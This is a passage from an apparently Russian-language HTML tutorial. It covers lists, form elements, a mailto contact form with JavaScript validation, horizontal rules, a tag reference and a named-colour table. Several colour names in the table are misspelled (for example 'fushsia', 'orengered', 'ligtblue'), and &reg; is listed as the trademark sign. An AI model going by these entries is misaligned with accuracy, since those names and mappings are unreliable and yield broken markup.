    </OL>
    8. Восемь
    9. Девять
    10. Десять
    11. Одиннадцать
    12. Двенадцать

    Непронумерованные списки:
    Для непронумерованных списков Обозреватель обычно использует маркеры для пометки элемента списка. Вид маркера, как правило, настраивает пользователь Обозревателя.

    Непронумерованный список начинается открывающимся тэгом <UL> и завершается тэгом </UL>. Каждый элемент списка начинается с тэга <LI>. Например:

    <UL>
    <LI> Один
    <LI> Два
    <LI> Три
    <LI> Четыре
    <LI> Пять
    </UL>
    • Один
    • Два
    • Три
    • Четыре
    • Пять

    Тэг <UL> может включать параметр TYPE со значениями disc, circle, square.

    <UL TYPE=disc><LI> disc </UL>
    • disc
    <UL TYPE=circle><LI> circle </UL>
    • circle
    <UL TYPE=square><LI> square </UL>
    • square

    Данные значения - это внешний вид маркера, который по умолчанию ставится в виде диска, т.е. disc.

    Списки определений:
    Списки определений имеют следующий вид:

    <DL>
    <DT> Термин
    <DD> Определение термина
    <DD> Определение термина
    <DD> Определение термина
    <DD> Определение термина
    </DL>
    Термин
    Определение термина
    Определение термина
    Определение термина
    Определение термина

    С элементом DL можно использовать атрибут COMPACT для установки более компактного размещения пунктов списка.

    <DL COMPACT>

    Именно так используется данный атрибут - никакие числовые значения ему не присваиваются.


Формы

    Формы.

    Форма — это инструмент, с помощью которого HTML-документ может отправить информацию в заранее определенную точку внешнего мира. Формы применяються для опроса посетителей, покупки чего-либо, отправки електронной почты.

    Принцип работы форм следующий: посетитель, зашедший к вам на страничку заполняет форму, а после нажатия определенной кнопки форма берет данные из заполненых полей и отправляет их в назначенное место.

    Формы размещаются между тегами <FORM></FORM>. HTML-документ может содержать в себе несколько форм, но они не должны находиться одна внутри другой. Тег <FORM> может содержать следующие атрибуты:

    ACTION | Обязательный атрибут. Определяет, где находится обработчик формы.
METHOD | Определяет, каким образом данные из формы будут переданы обработчику. Допустимые значения: METHOD=POST и METHOD=GET. Если значение атрибута не установлено, по умолчанию предполагается METHOD=GET.
ENCTYPE | Определяет, каким образом данные из формы будут закодированы для передачи обработчику.

    Для внесения информации пользователем в форму используется элемент <INPUT> Это и есть поля, в которые пользователь вводит информацию. Каждый элемент <INPUT> включает атрибут NAME=имя, определяющий имя данного поля (идентификатор поля). В таблице представлены основные типы, применяемых элементов <INPUT>:

    TYPE=text Определяет окно для ввода строки текста. Может содержать дополнительные атрибуты SIZE=число (ширина окна ввода в символах) и MAXLENGTH=число (максимально допустимая длина вводимой строки в символах):

    <INPUT TYPE=text SIZE=20 NAME=User VALUE="LENIN INC">

    Определяет окно шириной 20 символов для ввода текста. По умолчанию в окне находится текст LENIN INC, который пользователь может изменить.

    TYPE=password Определяет окно для ввода пароля. Абсолютно аналогичен типу text, только вместо символов вводимого текста показывает на экране звездочки (*):

    <INPUT TYPE=password NAME=PW SIZE=20 MAXLENGTH=10>

    Определяет окно шириной 20 символов для ввода пароля. Максимально допустимая длина пароля — 10 символов.

    TYPE=radio Определяет радиокнопку. Может содержать дополнительный атрибут CHECKED (показывает, что кнопка отмечена). В группе радиокнопок с одинаковыми именами может быть только одна помеченная радиокнопка:

    <INPUT TYPE=radio NAME=Question VALUE="Yes" CHECKED> Да
    <INPUT TYPE=radio NAME=Question VALUE="No"> Нет
    <INPUT TYPE=radio NAME=Question VALUE="Possible"> Возможно

    Да
    Нет
    Возможно

    Определяет группу из трех радиокнопок, подписанных Yes, No и Possible. Первоначально помечена первая из кнопок. Если пользователь не отметит другую кнопку, обработчику будет передана переменная Question со значением Yes. Если пользователь отметит другую кнопку, обработчику будет передана переменная Question со значением No или Possible.

    TYPE=checkbox Определяет квадрат, в котором можно сделать пометку. Может содержать дополнительный атрибут CHECKED (показывает, что квадрат помечен). В отличие от радиокнопок, в группе квадратов с одинаковыми именами может быть несколько помеченных квадратов:

    <INPUT TYPE=checkbox NAME=Comp VALUE="CPU"> Процессоры
    <INPUT TYPE=checkbox NAME=Comp VALUE="Video" CHECKED> Видеоадаптеры
    <INPUT TYPE=checkbox NAME=Comp VALUE="Scan"> Сканеры
    <INPUT TYPE=checkbox NAME=Comp VALUE="Modem" CHECKED> Модемы

    Процессоры
    Видеоадаптеры
    Сканеры
    Модемы

    Определяет группу из четырех квадратов. Первоначально помечены второй и четвертый квадраты. Если пользователь не произведет изменений, обработчику будут переданы две переменные: Comp=Video и Comp=Modem.

    TYPE=hidden Определяет скрытый элемент данных, который не виден пользователю при заполнении формы и передается обработчику без изменений. Такой элемент иногда полезно иметь в форме, которая время от времени подвергается переработке, чтобы обработчик мог знать, с какой версией формы он имеет дело.

    <INPUT TYPE=hidden NAME=version VALUE="1.1">

    Определяет скрытую переменную version, которая передается обработчику со значением 1.1.

    TYPE=submit Определяет кнопку, при нажатии на которую запускается процесс передачи данных из формы обработчику:

    <INPUT TYPE=submit VALUE="Отправить">

    TYPE=reset Определяет кнопку, при нажатии на которую очищаються поля формы. Поскольку при использовании этой кнопки данные обработчику не передаются, кнопка типа reset может и не иметь атрибута name:

    <INPUT TYPE=reset VALUE=" Сброс ">

    Формы могут содержать поля для ввода большого текста <TEXTAREA>:

    <TEXTAREA NAME=address ROWS=5 COLS=50> Наберите здесь сообщение</TEXTAREA>

    Атрибут NAME определяет имя, под которым содержимое окна будет передано обработчику. Атрибут ROWS устанавливает высоту окна в строках. Атрибут COLS устанавливает ширину окна в символах. Текст, размещенный между тегами <TEXTAREA></TEXTAREA>, представляет собой содержимое окна по умолчанию. Пользователь может его отредактировать или просто стереть.

    Кроме всего этого формы могут содержать меню выбора, которое начинается открывающимся тегом <SELECT> (содержит обязательный атрибут NAME, определяющий имя меню) и завершается закрывающимся </SELECT>. Между ними находятся теги <OPTION>, определяющие элемент меню. Обязательный атрибут VALUE устанавливает значение, которое будет передано обработчику, если выбран этот элемент меню. Тег <OPTION> может включать атрибут selected, показывающий, что данный элемент выбран/отмечен по умолчанию.

    <SELECT NAME="имя">
    <OPTION VALUE="option_1" selected>    текст 1
    <OPTION VALUE="option_2">текст 2
    <OPTION VALUE="option_n">текст n
    </SELECT>

    Тег <SELECT> может также содержать атрибут MULTIPLE, присутствие которого показывает, что из меню можно выбрать несколько элементов. Большинство Обозревателей показывают меню <SELECT MULTIPLE> в виде окна, в котором находятся элементы меню. Высоту окна в строках можно задать атрибутом SIZE=число.

    <SELECT MULTIPLE SIZE=3 NAME="имя">
    <OPTION VALUE="option_1" selected>    текст 1
    <OPTION VALUE="option_2">текст 2
    <OPTION VALUE="option_n">текст n
    </SELECT>


E-mail формa

    E-mail формa.

    Для того чтобы отправить сообщение по электронной почте не обязательно набирать его непосредственно в почтовой программе, а можно это сделать, воспользовавшись формами на странице. Кроме этого можно еще организовать и проверку полей формы, на тот случай, если пользователь решил поиграться.

    Имя:
    Тема:
    Сообщение:

    Данная форма реализуется следующим кодом:

    <FORM NAME="mailer" METHOD="post" ACTION="" ENCTYPE="text/plain" onSubmit="(document.mailer.action += mailtoandSubject)">
    <table border=2 align=center cellspacing=1 cellpadding=2 BgColor=#000FFF>
    <tr><td><FONT size="2" color="#FFFFFF">Имя:</font></td>
    <td><INPUT TYPE="text" NAME="Name" size="24" onChange="msg(this.form)"></td></tr>
    <tr><td><FONT size="2" color="#FFFFFF">Тема:</font></td>
    <td><INPUT TYPE="text" NAME="Subject" size="24" onChange="msg(this.form)"></td></tr>
    <tr><td><FONT size="2" color="#FFFFFF">Сообщение:</font></td>
    <td><TEXTAREA NAME="Message" COLS=40 ROWS=6 onChange="msg(this.form)"></TEXTAREA></td></tr>
    <tr><td colspan=2 align=center><INPUT TYPE = "submit" VALUE = "Отправить" ONCLICK="return checkIt()">
    <INPUT TYPE=reset VALUE=" Сброс "></td></tr></table>
    </FORM>

    А это программа, которая будет проверять, заполнил ли пользователь все поля и отправлять форму:

    <SCRIPT LANGUAGE="JavaScript">
    function checkIt() {     // функция проверки полей формы
    //-----------
    if (document.forms.mailer.Name.value != "") { // функция проверки поля Name
    } else {
    alert("\nОбласть \"Имя\" в форме. \n\nПожалуйста, введите свое имя.");     // выводит сообщение, если поле Name не заполнено
    document.forms.mailer.Name.focus(); // возврашает курсор на поле Name
    return false;
    }
    //-----------
    if (document.forms.mailer.Subject.value != "") {     // функция проверки поля Subject
    } else {
    alert("\nОбласть \"Тема\" в форме. \n\nПожалуйста, введите тему.");     // выводит сообщение, если поле Subject не заполнено
    document.forms.mailer.Subject.focus(); // возврашает курсор на поле Subject
    return false;
    }
    //-----------
    if (document.forms.mailer.Message.value != "") {     // функция проверки поля Message
    return true; // ВСЕ ОТЛИЧНО
    } else {
    alert("\nОбласть \"Сообщение\" в форме. \n\nПожалуйста, напишите сообщение.");     // выводит сообщение, если поле Message не заполнено
    document.forms.mailer.Message.focus(); // возврашает курсор на поле Message
    return false;
    }
    //-----------
    }
    function msg() {     // функция отправки
    document.mailer.action = "mailto:Ваша@почта.ua"
    mailtoandSubject = (('?Subject=' + document.mailer.Subject.value) + '&Body=' + document.mailer.Message.value);
    }
    </SCRIPT>

    Смените значение переменной Ваша@почта.ua на Вашу почту, куда будут приходить заполненные формы. Данная форма содержит поля ИМЯ, ТЕМА и СООБЩЕНИЕ. Разумеется, вы можете изменить названия этих полей, а также добавить/удалить новые строчки. При этом нужно будет внести некоторые изменения в программу проверки/отправки сообщения.

    Каждому полю формы присвоено определенное имя, которое задано атрибутом NAME. При нажатии на кнопку "Отправить" происходит вызов функции checkIt(). Если поле не заполнено выводиться окно с сообщением с кнопкой Ok, после нажатия на которую курсор переходит на незаполненное поле. Остальные функции проверки работают также (я разделил их вот таким комментарием //-----------, чтобы Вам было удобнее добавлять или удалять функции). Последняя функция должна содержать значение return true;. Именно это значение уведомляет об успешном окончании проверки и завершает проверку полей формы, так что решать, где его поставить - Вам.

    Такие формы использует почтовую программу пользователя и, если она не настроена, ничего не отправится.


Горизонтальные линии

    Горизонтальные линии.

    Тег HR (Horisontal Rule) вставляет в текст горизонтальную разделительную линию. Может иметь следующие атрибуты:

    WIDTH | Определяет длину линии в пикселях или процентах от ширины окна Обозревателя.
SIZE | Оопределяет толщину линии в пикселях.
ALIGN | Определяет выравнивание горизонтальной линии. Параметр может принимать следующие значения: left - выравнивание по левому краю документа. right - выравнивание по правому краю документа. center - выравнивание по центру документа (используется по умолчанию).
NOSHADE | Определяет способ закраски линии как сплошной. Параметр является флагом и не требует указания значения. Без данного параметра линия отображается объемной.
COLOR | Определяет цвет линии. Работает только в Internet Explorer.

    Примеры линий:

    <HR>

    <HR WIDTH="50%" ALIGN="left" SIZE="0">

    <HR WIDTH="80%" SIZE="3">

    <HR NOSHADE WIDTH="80%" SIZE="20">

    <HR NOSHADE WIDTH="80%" COLOR="Blue" SIZE="8">

    Вместо линии можно реализовать и квадрат:

    <HR NOSHADE ALIGN="left" WIDTH="18" COLOR="Red" SIZE="18">

    Расположить несколько квадратов в одну строку, к сожалению, нельзя.


 Список елементов HTML
    Список елементов HTML.
    Вернуться в раздел С чего начинать?

  • Базисные элементы (все документы HTML должны содержать их)
  • Определение структуры (вид задается параметрами программы-просмотрщика)
  • Внешний вид (определение внешнего вида текста)
  • Ссылки и графика
  • Разделители
  • Списки
  • Фон и цвета
  • Специальные символы
  • Формы
  • Таблицы
  • Фреймы (frames)
  • Язык Java
  • Разное

    Базисные елементы. Вверх

    Тип документа | <HTML></HTML> | (начало и конец файла)
    Имя документа | <TITLE></TITLE> | (должно быть в заголовке)
    Заголовок | <HEAD></HEAD> | (описание документа)
    Тело | <BODY></BODY> | (содержимое страницы)

    Определение структуры. Вверх

    Заглавие | <H?></H?> | (стандарт определяет 6 уровней)
    с выравниванием | <H? ALIGN=LEFT|CENTER|RIGHT> </H?>
    Секция | <DIV></DIV>
    с выравниванием | <DIV ALIGN=LEFT|RIGHT|CENTER> </DIV>
    Цитата | <BLOCKQUOTE></BLOCKQUOTE> | (обычно выделяется отступом)
    Выделение | <EM></EM> | (обычно изображается курсивом)
    Дополнительное выделение | <STRONG></STRONG> | (обычно изображается жирным шрифтом)
    Отсылка, цитата | <CITE></CITE> | (обычно курсив)
    Код | <CODE></CODE> | (для листингов кода)
    Пример вывода | <SAMP></SAMP>
    Ввод с клавиатуры | <KBD></KBD>
    Переменная | <VAR></VAR>
    Определение | <DFN></DFN> | (часто не поддерживается)
    Адрес автора | <ADDRESS></ADDRESS>
    Большой шрифт | <BIG></BIG>
    Маленький шрифт | <SMALL></SMALL>

    Внешний вид. Вверх

    Жирный | <B></B>
    Курсив | <I></I>
    Подчеркнутый | <U></U> | (часто не поддерживается)
    Перечеркнутый | <STRIKE></STRIKE> | (часто не поддерживается)
    Перечеркнутый | <S></S> | (часто не поддерживается)
    Верхний индекс | <SUP></SUP>
    Нижний индекс | <SUB></SUB>
    Печатная машинка | <TT></TT> | (изображается как шрифт фиксированой ширины)
    Форматированый | <PRE></PRE> | (сохранить формат текста как есть)
    Ширина | <PRE WIDTH=?></PRE> | (в символах)
    Центрировать | <CENTER></CENTER> | (как текст, так и графика)
    Мигающий | <BLINK></BLINK> | (наиболее осмеянный элемент)
    Размер шрифта | <FONT SIZE=?></FONT> | (от 1 до 7)
    Изменить размер шрифта | <FONT SIZE="+|-?"></FONT>
    Базовый размер шрифта | <BASEFONT SIZE=?> | (от 1 до 7; по умолчанию 3)
    Цвет шрифта | <FONT COLOR="#$$$$$$"></FONT>
    Выбор шрифта | <FONT FACE="***"></FONT>
    Многоколоночный текст | <MULTICOL COLS=?></MULTICOL>
    Пробел между колонками | <MULTICOL GUTTER=?></MULTICOL> | (по умолчанию 10 точек)
    Ширина колонки | <MULTICOL WIDTH=?></MULTICOL>
    Пустой блок | <SPACER>
    Тип пустого блока | <SPACER TYPE=horizontal|vertical| block>
    Величина пустого блока | <SPACER SIZE=?>
    Размеры пустого блока | <SPACER WIDTH=? HEIGHT=?>
    Выравнивание | <SPACER ALIGN=left|right|center>

    Ссылки и графика. Вверх

    Ссылка | <A HREF="URL"></A>
    Ссылка на закладку | <A HREF="URL#***"></A> | (в другом документе)
    <A HREF="#***"></A> | (в том же документе)
    На другое окно | <A HREF="URL" TARGET="***| |_blank|_self|_parent|_top"> </A>
    Определить закладку | <A NAME="***"></A>
    Отношение | <A REL="***"></A> | (часто не поддерживается)
    Обратное отношение | <A REV="***"></A> | (часто не поддерживается)
    Графика | <IMG SRC="URL">
    Выравнивание | <IMG SRC="URL" ALIGN=TOP|BOTTOM|MIDDLE|LEFT| RIGHT>
    Выравнивание | <IMG SRC="URL" ALIGN=TEXTTOP|ABSMIDDLE| BASELINE|ABSBOTTOM>
    Альтернатива | <IMG SRC="URL" ALT="***"> | (выводится если картинка не изображается)
    Карта | <IMG SRC="URL" ISMAP> | (нужна также программа)
    Локальная карта | <IMG SRC="URL" USEMAP="URL">
    Определение карты | <MAP NAME="***"></MAP>
    Области карты | <AREA SHAPE="RECT" COORDS=",,," HREF="URL"|NOHREF>
    Размеры | <IMG SRC="URL" WIDTH=? HEIGHT=?> | (в точках)
    Окантовка | <IMG SRC="URL" BORDER=?> | (в точках)
    Отступ | <IMG SRC="URL" HSPACE=? VSPACE=?> | (в точках)
    Заменитель в низком разрешении | <IMG SRC="URL" LOWSRC="URL">
    Обновить | <META HTTP-EQUIV="Refresh" CONTENT="?; URL=URL">
    Включить об'ект | <EMBED SRC="URL"> | (вставить об'ект в страницу)
    Размер об'екта | <EMBED SRC="URL" WIDTH=? HEIGHT=?>

    Разделители. Вверх

    Параграф | <P></P> | (закрывать элемент часто не обязательно)
    Выравнивание | <P ALIGN=LEFT|CENTER|RIGHT> </P>
    Новая строка | <BR> | (одиночный перевод строки)
    Убрать выравнивание | <BR CLEAR=LEFT|RIGHT|ALL>
    Горизонтальный разделитель | <HR>
    Выравнивание | <HR ALIGN=LEFT|RIGHT|CENTER>
    Толщина | <HR SIZE=?> | (в точках)
    Ширина | <HR WIDTH=?> | (в точках)
    Ширина в процен- тах | <HR WIDTH="%"> | (в процентах)
    Сплошная линия | <HR NOSHADE> | (без трехмерных эффектов)
    Нет разбивки | <NOBR></NOBR> | (запрещает перевод строки)
    Перенос | <WBR> | (разбить строку)

    Списки. Вверх

    Неупорядоченный | <UL><LI></UL> | (<LI> перед каждым элементом)
    Компактный | <UL COMPACT></UL>
    Тип метки | <UL TYPE=DISC|CIRCLE|SQUARE> | (для всего списка)
    <LI TYPE=DISC|CIRCLE|SQUARE> | (этот и последующие)
    Нумерованый | <OL><LI></OL> | (<LI> перед каждым элементом)
    Компактный | <OL COMPACT></OL>
    Тип нумерации | <OL TYPE=A|a|I|i|1> | (для всего списка)
    <LI TYPE=A|a|I|i|1> | (этот и следующие)
    Первый номер | <OL START=?> | (для всего списка)
    <LI VALUE=?> | (этот и следующие)
    Список определений | <DL><DT><DD></DL> | (<DT>=термин, <DD>= определение)
    Компактный | <DL COMPACT></DL>
    Меню | <MENU><LI></MENU> | (<LI> перед каждым элементом)
    Компактное | <MENU COMPACT></MENU>
    Каталог | <DIR><LI></DIR> | (<LI> перед каждым элементом)
    Компактный | <DIR COMPACT></DIR>

    Фон и цвета. Вверх

    Фоновая картинка | <BODY BACKGROUND="URL">
    Цвет фона | <BODY BGCOLOR="#$$$$$$"> | (порядок: красный/ зеленый/ синий)
    Цвет текста | <BODY TEXT="#$$$$$$">
    Цвет ссылки | <BODY LINK="#$$$$$$">
    Пройденная ссылка | <BODY VLINK="#$$$$$$">
    Активная ссылка | <BODY ALINK="#$$$$$$">

    Специальные символы. (обязаны быть в нижнем регистре) Вверх

    Специальный символ &#?; (это код ISO 8859-1)
    < &lt;
    > &gt;
    & &amp;
    " &quot;
    Торговая марка ТМ | &reg;
    Copyright | &copy;
    Неразделяющий пробел | &nbsp;

    Формы. Вверх

    Определить форму | <FORM ACTION="URL" METHOD=GET|POST></FORM>
    Посылка файла | <FORM ENCTYPE="multipart/form-data"></FORM>
    Поле ввода | <INPUT TYPE="TEXT|PASSWORD|CHECKBOX| RADIO|IMAGE|HIDDEN|SUBMIT| RESET">
    Имя поля | <INPUT NAME="***">
    Значение поля | <INPUT VALUE="***">
    Отмечен | <INPUT CHECKED> | (checkboxes и radio boxes)
    Размер поля | <INPUT SIZE=?> | (в символах)
    Максимальная длина | <INPUT MAXLENGTH=?> | (в символах)
    Список вариантов | <SELECT></SELECT>
    Имя списка | <SELECT NAME="***"></SELECT>
    Число вариантов | <SELECT SIZE=?></SELECT>
    Множественний выбор | <SELECT MULTIPLE> | (можно выбрать больше одного)
    Опция | <OPTION> | (элемент который может быть выбран)
    Опция по умолчанию | <OPTION SELECTED>
    Ввод текста, размер | <TEXTAREA ROWS=? COLS=?> </TEXTAREA>
    Имя текста | <TEXTAREA NAME="***"></TEXTAREA>
    Разбивка на строки | <TEXTAREA WRAP=OFF|VIRTUAL|PHYSICAL> </TEXTAREA>

    Таблицы. Вверх

    Определить таблицу | <TABLE></TABLE>
    Окантовка таблицы | <table border=?></TABLE>
    Расстояние между ячейками | <TABLE CELLSPACING=?>
    Дополнение ячеек | <TABLE CELLPADDING=?>
    Желаемая ширина | <TABLE WIDTH=?> | (в точках)
    Ширина в процентах | <TABLE WIDTH="%"> | (проценты от ширины страницы)
    Строка таблицы | <TR></TR>
    Выравнивание | <TR ALIGN=LEFT|RIGHT| CENTER| MIDDLE|BOTTOM>
    Ячейка таблицы | <TD></TD> | (должна быть внутри строки)
    Выравнивание | <TD ALIGN=LEFT|RIGHT|CENTER| MIDDLE|BOTTOM>
    Без перевода строки | <TD NOWRAP>
    Растягивание по колонке | <TD COLSPAN=?>
    Растягивание по строке | <TD ROWSPAN=?>
    Желаемая ширина | <TD WIDTH=?> | (в точках)
    Ширина в процентах | <TD WIDTH="%"> | (проценты от ширины страницы)
    Цвет ячейки | <TD BGCOLOR="#$$$$$$">
    Заголовок таблицы | <TH></TH> | (как данные, но жирный шрифт и центровка)
    Выравнивание | <TH ALIGN=LEFT|RIGHT|CENTER| MIDDLE|BOTTOM>
    Без перевода строки | <TH NOWRAP>
    Растягивание по колонке | <TH COLSPAN=?>
    Растягивание по строке | <TH ROWSPAN=?>
    Желаемая ширина | <TH WIDTH=?> | (в точках)
    Ширина в процентах | <TH WIDTH="%"> | (проценты ширины таблицы)
    Цвет ячейки | <TH BGCOLOR="#$$$$$$">
    Заглавие таблицы | <CAPTION></CAPTION>
    Выравнивание | <CAPTION ALIGN=TOP|BOTTOM> | (сверху/снизу таблицы)

    Фреймы. Вверх

    Документ с фреймами | <FRAMESET></FRAMESET> | (вместо <BODY>)
    Высота строк | <FRAMESET ROWS=,,,></FRAMESET> | (точки или %)
    Высота строк | <FRAMESET ROWS=*></FRAMESET> | (* = относительный размер)
    Ширина колонок | <FRAMESET COLS=,,,></FRAMESET> | (точки или %)
    Ширина колонок | <FRAMESET COLS=*></FRAMESET> | (* = относительный размер)
    Ширина окантовки | <FRAMESET BORDER=?>
    Окантовка | <FRAMESET FRAMEBORDER="yes|no">
    Цвет окантовки | <FRAMESET BORDERCOLOR="#$$$$$$">
    Определить фрейм | <FRAME> | (содержание отдельного фрейма)
    Документ | <FRAME SRC="URL">
    Имя фрейма | <FRAME NAME="***"|_blank|_self| _parent|_top>
    Ширина границы | <FRAME MARGINWIDTH=?> | (правая и левая границы)
    Высота границы | <FRAME MARGINHEIGHT=?> | (верхняя и нижняя границы)
    Скроллинг? | <FRAME SCROLLING="YES|NO|AUTO">
    Постоянный размер | <FRAME NORESIZE>
    Окантовка | <FRAME FRAMEBORDER="yes|no">
    Цвет окантовки | <FRAME BORDERCOLOR="#$$$$$$">
    Содержание без фреймов | <NOFRAMES></NOFRAMES> | (для просмотрщиков не поддерживающих фреймы)

    Язык JAVA. Вверх

    Applet | <APPLET></APPLET>
    Applet - имя файла | <APPLET CODE="***">
    Параметры | <APPLET PARAM NAME="***">
    Applet - адрес | <APPLET CODEBASE="URL">
    Applet - имя | <APPLET NAME="***"> | (для ссылок из других частей страницы)
    Альтернативный текст | <APPLET ALT="***"> | (для программ не поддерживающих Java)
    Выравнивание | <APPLET ALIGN="LEFT|RIGHT|CENTER">
    Размеры | <APPLET WIDTH=? HEIGHT=?> | (в точках)
    Отступ | <APPLET HSPACE=? VSPACE=?> | (в точках)

    Разное. Вверх

    Комментарий <!-- *** --> (игнорируется просмотрщиком)
    Пролог HTML 3.2 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
    Поиск | <ISINDEX> | (означает начальную точку поиска)
    Приглашение | <ISINDEX PROMPT="***"> | (текст приглашения для поля ввода)
    Запустить поиск | <A HREF="URL?***"></a> | (используйте действительно знак вопроса)
    URL этого файла | <BASE HREF="URL"> | (должно быть в заголовке)
    Имя базового окна | <BASE TARGET="***"> | (должно быть в заголовке)
    Отношение | <LINK REV="***" REL="***" HREF="URL"> | (должно быть в заголовке)
    Метаинформация | <META> | (должно быть в заголовке)
    Стили | <STYLE></STYLE>
    Программа | <SCRIPT></SCRIPT>


Раскладка цветовой гаммы по RGB-составляющим

    Раскладка цветовой гаммы по RGB-составляющим.

    В верстке страниц Вы можете использовать как шестнадцатиричный код (RGB), так и названия цветов, Обозреватель нормально распознает и то и другое.

    Color's name | R | G | B | Color
alicemblue | F0 | F8 | FF |
antiquewhite | FA | EB | D7 |
aqua | 00 | FF | FF |
aquamarine | 7F | FF | D4 |
azure | F0 | FF | FF |
beige | F5 | F5 | DC |
bisque | FF | E4 | C4 |
black | 00 | 00 | 00 |
blanchedalmond | FF | EB | CD |
blue | 00 | 00 | FF |
blueviolet | 8A | 2B | E2 |
brown | A5 | 2A | 2A |
burlywood | DE | B8 | 87 |
cadetblue | 5F | 9E | A0 |
chartreuse | 7F | FF | 00 |
chocolate | D2 | 69 | 1E |
coral | FF | 7F | 50 |
cornflowerblue | 64 | 95 | ED |
cornsilk | FF | F8 | DC |
crimson | DC | 14 | 3C |
cyan | 00 | FF | FF |
darkblue | 00 | 00 | 8B |
darkcyan | 00 | 8B | 8B |
darkgoldenrod | B8 | 86 | 0B |
darkgray | A9 | A9 | A9 |
darkgreen | 00 | 64 | 00 |
darkkhaki | BD | B7 | 6B |
darkmagenta | 8B | 00 | 8b |
darkolivegreen | 55 | 6B | 2F |
darkorange | FF | 8C | 00 |
darkochid | 99 | 32 | CC |
darkred | 8B | 00 | 00 |
darksalmon | E9 | 96 | 7A |
darkseagreen | 8F | BC | 8F |
darkslateblue | 48 | 3D | 8B |
darkslategray | 2F | 4F | 4F |
darkturquoise | 00 | CE | D1 |
darkviolet | 94 | 00 | D3 |
deeppink | FF | 14 | 93 |
deepskyblue | 00 | BF | FF |
dimgray | 69 | 69 | 69 |
dodgerblue | 1E | 90 | FF |
firebrick | B2 | 22 | 22 |
floralwhite | FF | FA | F0 |
forestgreen | 22 | 8B | 22 |
fushsia | FF | 00 | FF |
gainsboro | DC | DC | DC |
ghostwhite | F8 | F8 | FF |
gold | FF | D7 | 00 |
goldenrod | DA | A5 | 20 |
gray | 80 | 80 | 80 |
green | 00 | 80 | 00 |
greenyellow | AD | FF | 2F |
honeydew | F0 | FF | F0 |
hotpink | FF | 69 | B4 |
indiandred | CD | 5C | 5C |
indigo | 4B | 00 | 82 |
ivory | FF | FF | F0 |
khaki | F0 | E6 | 8C |
lavender | E6 | E6 | FA |
lavenderblush | FF | F0 | F5 |
lawngreen | 7C | FC | 00 |
lemonchiffon | FF | FA | CD |
ligtblue | AD | D8 | E6 |
lightcoral | F0 | 80 | 80 |
lightcyan | E0 | FF | FF |
lightgoldenrodyellow | FA | FA | D2 |
lightgreen | 90 | EE | 90 |
lightgrey | D3 | D3 | D3 |
lightpink | FF | B6 | C1 |
    Color's name | R | G | B | Color
lightsalmon | FF | A0 | 7A |
lightseagreen | 20 | B2 | AA |
lightscyblue | 87 | CE | FA |
lightslategray | 77 | 88 | 99 |
lightsteelblue | B0 | C4 | DE |
lightyellow | FF | FF | E0 |
lime | 00 | FF | 00 |
limegreen | 32 | CD | 32 |
linen | FA | F0 | E6 |
magenta | FF | 00 | FF |
maroon | 80 | 00 | 00 |
mediumaquamarine | 66 | CD | AA |
mediumblue | 00 | 00 | CD |
mediumorchid | BA | 55 | D3 |
mediumpurple | 93 | 70 | DB |
mediumseagreen | 3C | B3 | 71 |
mediumslateblue | 7B | 68 | EE |
mediumspringgreen | 00 | FA | 9A |
mediumturquoise | 48 | D1 | CC |
medium violetred | C7 | 15 | 85 |
midnightblue | 19 | 19 | 70 |
mintcream | F5 | FF | FA |
mistyrose | FF | E4 | E1 |
moccasin | FF | E4 | B5 |
navajowhite | FF | DE | AD |
navy | 00 | 00 | 80 |
oldlace | FD | F5 | E6 |
olive | 80 | 80 | 00 |
olivedrab | 6B | 8E | 23 |
orange | FF | A5 | 00 |
orengered | FF | 45 | 00 |
orchid | DA | 70 | D6 |
palegoldenrod | EE | E8 | AA |
palegreen | 98 | FB | 98 |
paleturquose | AF | EE | EE |
palevioletred | DB | 70 | 93 |
papayawhop | FF | EF | D5 |
peachpuff | FF | DA | B9 |
peru | CD | 85 | 3F |
pink | FF | C0 | CB |
plum | DD | A0 | DD |
powderblue | B0 | E0 | E6 |
purple | 80 | 00 | 80 |
red | FF | 00 | 00 |
rosybrown | BC | 8F | 8F |
royalblue | 41 | 69 | E1 |
saddlebrown | 8B | 45 | 13 |
salmon | FA | 80 | 72 |
sandybrown | F4 | A4 | 60 |
seagreen | 2E | 8B | 57 |
seashell | FF | F5 | EE |
sienna | A0 | 52 | 2D |
silver | C0 | C0 | C0 |
skyblue | 87 | CE | EB |
slateblue | 6A | 5A | CD |
slategray | 70 | 80 | 80 |
snow | FF | FA | FA |
springgreen | 00 | FF | 7F |
steelblue | 46 | 82 | B4 |
tan | D2 | B4 | 8C |
teal | 00 | 80 | 80 |
thistle | D8 | BF | D8 |
tomato | FF | 63 | 47 |
turquose | 40 | E0 | D0 |
violet | EE | 82 | EE |
wheat | F5 | DE | B3 |
white | FF | FF | FF |
whitesmoke | F5 | F5 | F5 |
yellow | FF | FF | 00 |
yellowgreen | 9A | CD | 32 |


Спецсимволы в HTML

    Спецсимволы в HTML.

    Возможно, некоторые символы у Вас не будут правильно отображатся. Зависит это от используемого шрифта.

    Вид | Код | Описание
Различные знаки
¡ | &#161; | перевернутый восклицательный знак
¢ | &#162; | цент
£ | &#163; | фунт стерлингов
¤ | &#164; | денежная единица
¥ | &#165; | иена или юань
¦ | &#166; | разорванная вертикальная черта
§ | &#167; | параграф
¨ | &#168; | diaeresis = spacing diaeresis
© | &#169; | знак copyright
ª | &#170; | feminine ordinal indicator
« | &#171; | левая двойная угловая скобка
¬ | &#172; | знак отрицания
 | &#173; | место возможного переноса
™ | &#153; | торговая марка
® | &#174; | знак зарегистрированной торговой марки
¯ | &#175; | macron = spacing macron = overline = APL overbar
° | &#176; | градус
± | &#177; | плюс-минус
² | &#178; | верхний индекс "два" - "квадрат"
³ | &#179; | верхний индекс "три" - "куб"
´ | &#180; | acute accent = spacing acute
µ | &#181; | микро
¶ | &#182; | pilcrow sign = paragraph sign
· | &#183; | middle dot = Georgian comma = Greek middle dot
¸ | &#184; | cedilla = spacing cedilla
¹ | &#185; | верхний индекс "один"
º | &#186; | masculine ordinal indicator
» | &#187; | правая двойная угловая скобка
¼ | &#188; | дробь - одна четверть
½ | &#189; | дробь - одна вторая
¾ | &#190; | дробь - три четверти
¿ | &#191; | перевернутый вопросительный знак
Латинский и греческий алфавит
À | &#192; | latin capital letter A with grave = latin capital letter A grave
Á | &#193; | latin capital letter A with acute
Â | &#194; | latin capital letter A with circumflex
Ã | &#195; | latin capital letter A with tilde
Ä | &#196; | latin capital letter A with diaeresis
Å | &#197; | latin capital letter A with ring above = latin capital letter A ring
Æ | &#198; | latin capital letter AE = latin capital ligature AE
Ç | &#199; | latin capital letter C with cedilla
È | &#200; | latin capital letter E with grave
